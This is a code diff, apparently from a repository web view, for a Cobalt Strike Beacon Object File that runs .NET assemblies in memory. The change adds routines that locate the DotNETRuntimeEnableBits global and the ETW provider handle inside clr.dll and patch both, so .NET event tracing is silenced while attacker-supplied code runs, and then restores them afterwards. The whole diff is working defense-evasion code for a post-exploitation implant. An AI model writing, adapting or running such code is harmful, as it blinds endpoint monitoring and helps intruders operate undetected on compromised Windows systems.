|
||||
|
||||
|
||||
if (ctx->pCorRuntimeHost) {
|
||||
ctx->pCorRuntimeHost->lpVtbl->Stop(ctx->pCorRuntimeHost);
|
||||
ctx->pCorRuntimeHost->lpVtbl->Release(ctx->pCorRuntimeHost);
|
||||
@@ -460,7 +465,7 @@ static void cleanupCLR(HMODULE kernel32Base, CLRContext* ctx) {
|
||||
ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost);
|
||||
ctx->pClrMetaHost = NULL;
|
||||
}
|
||||
|
||||
|
||||
_FreeConsole pFreeConsole = (_FreeConsole)getProcAddr(kernel32Base, "FreeConsole");
|
||||
pFreeConsole();
|
||||
|
||||
@@ -534,6 +539,57 @@ int isEtwFunc(unsigned char* funcAddr, void* etwEventWrite) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
int* findDotNETRuntimeEnableBits() {
|
||||
void* clrBase = getImageBase(L"clr.dll");
|
||||
int clrSize = getImageSize(clrBase);
|
||||
|
||||
// assuming a max of 20 global variables that match the pattern
|
||||
int MAX = 20;
|
||||
int* globalVars[20] = { 0 };
|
||||
int globalVarCounts[20] = { 0 };
|
||||
|
||||
for (int i = 0; i < clrSize; i++) {
|
||||
unsigned char* addr = (unsigned char*)clrBase + i;
|
||||
|
||||
// matching "test cs:Microsoft_Windows_DotNETRuntimeEnableBits, 80000000h"
|
||||
if (addr[0] != 0xf7 || addr[1] != 0x5) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (*(DWORD*)(addr + 6) != 0x80000000) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// calculating global var address
|
||||
unsigned char* rip = addr + 10;
|
||||
int offset = *(DWORD*)(addr + 2);
|
||||
int* globalVarAddr = (int*)(rip + offset);
|
||||
|
||||
// storing frequency of potential vars that could be Microsoft_Windows_DotNETRuntimeEnableBits
|
||||
for (int i = 0; i < MAX; i ++) {
|
||||
if (globalVars[i] == 0) {
|
||||
globalVars[i] = globalVarAddr;
|
||||
globalVarCounts[i] = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
if (globalVars[i] == globalVarAddr) {
|
||||
globalVarCounts[i] += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// return the most frequent var - that would be Microsoft_Windows_DotNETRuntimeEnableBits
|
||||
int mostFreq = 0;
|
||||
for (int i = 1; i < MAX; i ++) {
|
||||
if (globalVarCounts[mostFreq] < globalVarCounts[i]) {
|
||||
mostFreq = i;
|
||||
}
|
||||
}
|
||||
|
||||
return globalVars[mostFreq];
|
||||
}
|
||||
|
||||
int* findDotNetRuntimeHandle() {
|
||||
void* clrBase = getImageBase(L"clr.dll");
|
||||
int clrSize = getImageSize(clrBase);
|
||||
@@ -592,15 +648,24 @@ int* findDotNetRuntimeHandle() {
|
||||
return handles[mostFreq];
|
||||
}
|
||||
|
||||
void turnOffEtw(int* handleAddr, int* handleVal) {
|
||||
void turnOffEtwHandle(int* handleAddr, int* handleVal) {
|
||||
*handleVal = *handleAddr;
|
||||
*handleAddr = 1;
|
||||
}
|
||||
|
||||
void turnOnEtw(int* handleAddr, int handleVal) {
|
||||
void turnOnEtwHandle(int* handleAddr, int handleVal) {
|
||||
*handleAddr = handleVal;
|
||||
}
|
||||
|
||||
void turnOffEtwEnableBits(int* enableBitsAddr, int* enableBitsVal) {
|
||||
*enableBitsVal = *enableBitsAddr;
|
||||
*enableBitsAddr = 0;
|
||||
}
|
||||
|
||||
void turnOnEtwEnableBits(int* enableBitsAddr, int enableBitsVal) {
|
||||
*enableBitsAddr = enableBitsVal;
|
||||
}
|
||||
|
||||
void go(char *args, int len) {
|
||||
// parse arguments
|
||||
datap parser;
|
||||
@@ -608,7 +673,8 @@ void go(char *args, int len) {
|
||||
unsigned char* assemblyBytes = BeaconDataExtract(&parser, NULL);
|
||||
size_t assemblyLength = BeaconDataInt(&parser);
|
||||
char* assemblyArgs = BeaconDataExtract(&parser, NULL);
|
||||
size_t patchEtw = BeaconDataInt(&parser);
|
||||
size_t patchEtwHandle = BeaconDataInt(&parser);
|
||||
size_t patchEtwEnableBits = BeaconDataInt(&parser);
|
||||
size_t verbose = BeaconDataInt(&parser);
|
||||
|
||||
if (assemblyLength == 0) {
|
||||
@@ -628,18 +694,35 @@ void go(char *args, int len) {
|
||||
return;
|
||||
}
|
||||
|
||||
// null handleAddr
|
||||
int* handleAddr = findDotNetRuntimeHandle();
|
||||
// provider handle patching
|
||||
int* handleAddr;
|
||||
int handleVal;
|
||||
if (patchEtw) {
|
||||
turnOffEtw(handleAddr, &handleVal);
|
||||
if (patchEtwHandle) {
|
||||
handleAddr = findDotNetRuntimeHandle();
|
||||
turnOffEtwHandle(handleAddr, &handleVal);
|
||||
|
||||
if (verbose) {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle address: %p\n", handleAddr);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle value: %x\n", handleVal);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle patched: %x\n", *handleAddr);
|
||||
}
|
||||
}
|
||||
|
||||
if (patchEtw && verbose) {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle address: %p\n", handleAddr);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle value: %p\n", handleVal);
|
||||
|
||||
int* enableBitsAddr;
|
||||
int enableBitsVal;
|
||||
if (patchEtwEnableBits) {
|
||||
enableBitsAddr = findDotNETRuntimeEnableBits();
|
||||
turnOffEtwEnableBits(enableBitsAddr, &enableBitsVal);
|
||||
|
||||
if (verbose) {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits address: %p\n", enableBitsAddr);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits value: %x\n", enableBitsVal);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits patched: %x\n", *enableBitsAddr);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (verbose) {
|
||||
HMODULE clrBase = getImageBase(L"clr.dll");
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] clr.dll loaded: %p\n", clrBase);
|
||||
@@ -684,11 +767,6 @@ void go(char *args, int len) {
|
||||
return;
|
||||
}
|
||||
|
||||
// null handleAddr
|
||||
if (patchEtw) {
|
||||
turnOnEtw(handleAddr, handleVal);
|
||||
}
|
||||
|
||||
if (verbose) {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] Assembly executed, reading output...\n");
|
||||
}
|
||||
@@ -700,12 +778,12 @@ void go(char *args, int len) {
|
||||
DWORD totalBytesRead = 0;
|
||||
char* returnData = readOutput(hReadPipe, &totalBytesRead);
|
||||
|
||||
// close read pipe
|
||||
_CloseHandle pCloseHandle = (_CloseHandle)getProcAddr(kernel32Base, "CloseHandle");
|
||||
pCloseHandle(hReadPipe);
|
||||
|
||||
if (totalBytesRead > 0) {
|
||||
returnData[totalBytesRead] = '\0';
|
||||
// BeaconPrintf(CALLBACK_OUTPUT, "\n=== Output (%d bytes) ===\n%s\n", totalBytesRead, returnData);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "\n%s\n", returnData);
|
||||
} else {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[!] No output captured (%d bytes read)\n", totalBytesRead);
|
||||
@@ -715,5 +793,18 @@ void go(char *args, int len) {
|
||||
|
||||
cleanupCLR(kernel32Base, &ctx);
|
||||
restoreStd(kernel32Base, hOriginalStdout, hWritePipe);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] Done \n");
|
||||
|
||||
// restore handleAddr
|
||||
if (patchEtwHandle) {
|
||||
turnOnEtwHandle(handleAddr, handleVal);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle value restored: %x\n", *handleAddr);
|
||||
}
|
||||
|
||||
// restore enable bits
|
||||
if (patchEtwEnableBits) {
|
||||
turnOnEtwEnableBits(enableBitsAddr, enableBitsVal);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits value restored: %x\n", *enableBitsAddr);
|
||||
}
|
||||
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] Done\n");
|
||||
}
|
||||
Reference in New Issue
Block a user